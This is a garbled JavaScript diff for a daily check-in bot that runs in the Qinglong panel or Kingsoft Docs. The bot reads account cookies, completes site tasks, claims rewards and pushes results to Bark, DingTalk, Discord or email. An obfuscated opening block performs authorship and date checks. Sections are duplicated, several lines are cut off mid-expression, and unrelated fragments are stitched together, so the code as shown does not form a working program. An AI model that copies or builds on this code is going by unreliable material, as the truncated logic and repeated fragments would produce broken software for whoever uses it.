_0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + let url = "https://api.03c3.cn/api/history" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + historyData = resp.json() + + // console.log(historyData) + + const getEventEmoji = (desc) => { + const emojiMap = { + 逝世: '⚪', 牺牲: '⚪', 病逝: '⚪', + 诞生: '👶', 出生: '👶', 成立: '🏛️', + 战争: '⚔️', 宣战: '⚔️', 入侵: '⚔️', + 发射: '🚀', 飞行: '✈️', 飞机: '✈️', + 大桥: '🌉', 建设: '🏗️', 施行: '📜', + 冠军: '🏆', 比赛: '🏅', 象棋: '♟️', + 基因: '🧬', 密码: '🔐', 通信: '📡', + 改革: '🔄', 合并: '🧩', 访问: '🛫' + }; + + const matched = Object.entries(emojiMap) + .find(([key]) => desc.includes(key)); + + return matched ? matched[1] : '🎯'; + }; + + const formatHistory = (data) => + data.map(event => { + const emoji = getEventEmoji(event.description); + return `${emoji} ${event.year} - ${event.description}`; + }).join('\n'); + + content = formatHistory(historyData.data) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i 0){ + console.log("🍳 尝试完成任务...") + for (let j = 0; j < taskCode.length; j++) { + urlTask = url[5] + taskCode[j] + // console.log(urlTask) + try{ + // resp = HTTP.fetch(urlTask, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(urlTask, {headers: headers,}); + // console.log(resp.text()) + sleep(2000) + }catch{ + console.log("🍳 忽略任务:" + taskCode[j]) + } + } + } + + // 获取奖励id + // resp = HTTP.fetch(url[4], { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url[4], {headers: headers,}); + + if (resp.status == 200) { + resp = resp.json(); + // console.log(resp); + code = resp["code"]; + if(code == 0){ + console.log("🍳 正在获取userTaskLogId "); + userTasks = resp["data"]["userTasks"]; + let temp + let num = 0 + for (let j = 0; j < userTasks.length; j++) { + temp = userTasks[j]["userTaskLogId"] + // console.log(typeof(temp)) + // console.log(temp.length) // 长度为18才是id + if(typeof(temp) != "object"){ // || temp != "{}" || temp != "null" || temp != "" || temp != null + userTaskLogId[num] = temp + num += 1 + } + } + console.log(userTaskLogId) + }else{ + console.log("🍳 获取userTaskLogId失败 "); + } + } else { + console.log(resp.text()); + console.log("🍳 获取userTaskLogId失败 "); + } + + // 领取任务奖励 + if(userTaskLogId.length > 0){ + console.log("🍳 尝试领取任务奖励...") + for (let j = 0; j < userTaskLogId.length; j++) { + urlTask = 